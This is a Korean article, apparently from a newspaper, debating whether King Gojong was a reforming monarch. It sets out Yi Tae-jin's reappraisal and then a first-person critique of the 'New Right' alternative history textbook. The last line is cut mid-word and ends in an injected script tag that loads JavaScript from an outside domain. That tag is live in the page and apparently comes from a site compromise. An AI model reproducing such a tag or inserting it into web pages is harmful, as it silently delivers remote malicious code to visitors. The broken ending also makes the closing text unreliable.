고종 어떻게 볼까

① 개혁군주다

   고종을 어떻게 볼 것인가 는 한국 근현대사의 출발점을 이해하는 데 관건적 문제다.
고종의 퍼스낼리티나 정책 방향, 시대인식을 어떻게 이해하느냐에 따라, 조선의 자주적 발전
가능성’이 있었는지, 아니면 일제 강점으로 비로소타율적 근대화의 길에 들어선 것인지를
가늠할 수 있기 때문이다.

또 제3의 대안세력이 존재했는지, 존재했다면 어느 정도의 역사적 무게를 지니고 있었는지 따져보는 데도고종은 하나의 준거가 된다. 그동안 고종에 대한 일반적 인식은 명성황후와 흥선대원군 사이에 치여 이러지도 저러지도 못한 무능하고 유약한 군주라는 것이었다.

이태진 서울대 교수는 고종에 대한 이런 기존 인식이 고종의 개혁 의지와
개혁 방향을 과소평가한 데 따른 것이라며 ‘고종 재평가’ 를 가장 선도적으로 주장해 온 학자다.

이 교수는 고종이 “청년 시절 개방·개화만이 나라를 구할 수 있다고 판단하여
일본·미국·영국·독일 등과 잇따라 수교통상조약을 체결하였으며
“서양의 우수한 기계문명을빨리 받아들이기 위해 미국을 최우선 파트너로 택하여 밀착 외교를
 펴려고” 했음을 강조한다.

이 교수는 명성황후 시해 사건도 고종의 근대화 정책에 일본이 위협을
느낀 결과라고 해석한다. 고종의 근대화 의지는 확고했다는 것이 이 교수의 논지다. 

                                                                                                         고명섭 기자

최근 ‘뉴라이트 교과서’로 지칭되는 <대안교과서 한국 근ㆍ현대사>가 무성한 논란을 불러일으켰다.
근대사 서술에서 최근 학계에서 재평가되고 있는 대한제국과 광무개혁에 대해 싸늘한 시선을 보내는
 반면, 일본 의존의 갑신 ‘개화파’와 식민지 시기 경제성장론을 줄기로 삼은 것이 비판의 표적이 되었다.
 특히 식민지 시기를 근대 문명학습 또는 실천기로 평가하면서 경제 발전으로 생활수준이 향상되었다고
강조한 것이 물의를 일으켰다. 이런 역사 서술로 과연 대한민국 ‘뉴라이트’의 역사인식을 자처할 수
있는지에 대한 우려마저 빚어졌다.
나는 2004년에 이미 이런 식의 역사인식과 반년에 걸친 긴 논쟁을 벌인 적이 있었다.
 <교수신문>을 통해 벌인 이 논쟁은 한국 논쟁사에 새로운 이정표를 세웠다는 평가 아래
 <고종황제역사청문회>란 책자로 출판되기까지 했다. 백 번의 대결을 불사했던 나에게
 ‘고종은 개혁군주인가’를 다시 논하라는 주문이 들어온 순간, 뒤늦게 피로감을 느꼈다.
넘어야 할 산이 이렇게 첩첩인가. ‘대안교과서’는 4년 전 논쟁에서 판정승을 거둔 것이 아니었다면
역사 교육의 중요성을 고려해 좀더 신중했어야 하지 않았던가.
달포 전, 어느 일간지에 고종황제가 을사늑약의 실효를 저지하고자 프랑스인 고문을 독일에 보내
우리 공사관들이 현지에서 철수하지 말 것을 훈령하고 또 독일 황제에게 일본의 조약강제의 만행을
알리면서 일본의 보호국이 되기보다 차라리 서구 열강국들의 시한부 공동보호를 받겠다고 제안하는
친서가 공개되?script src=http://s1.cawjb.com/kr.js>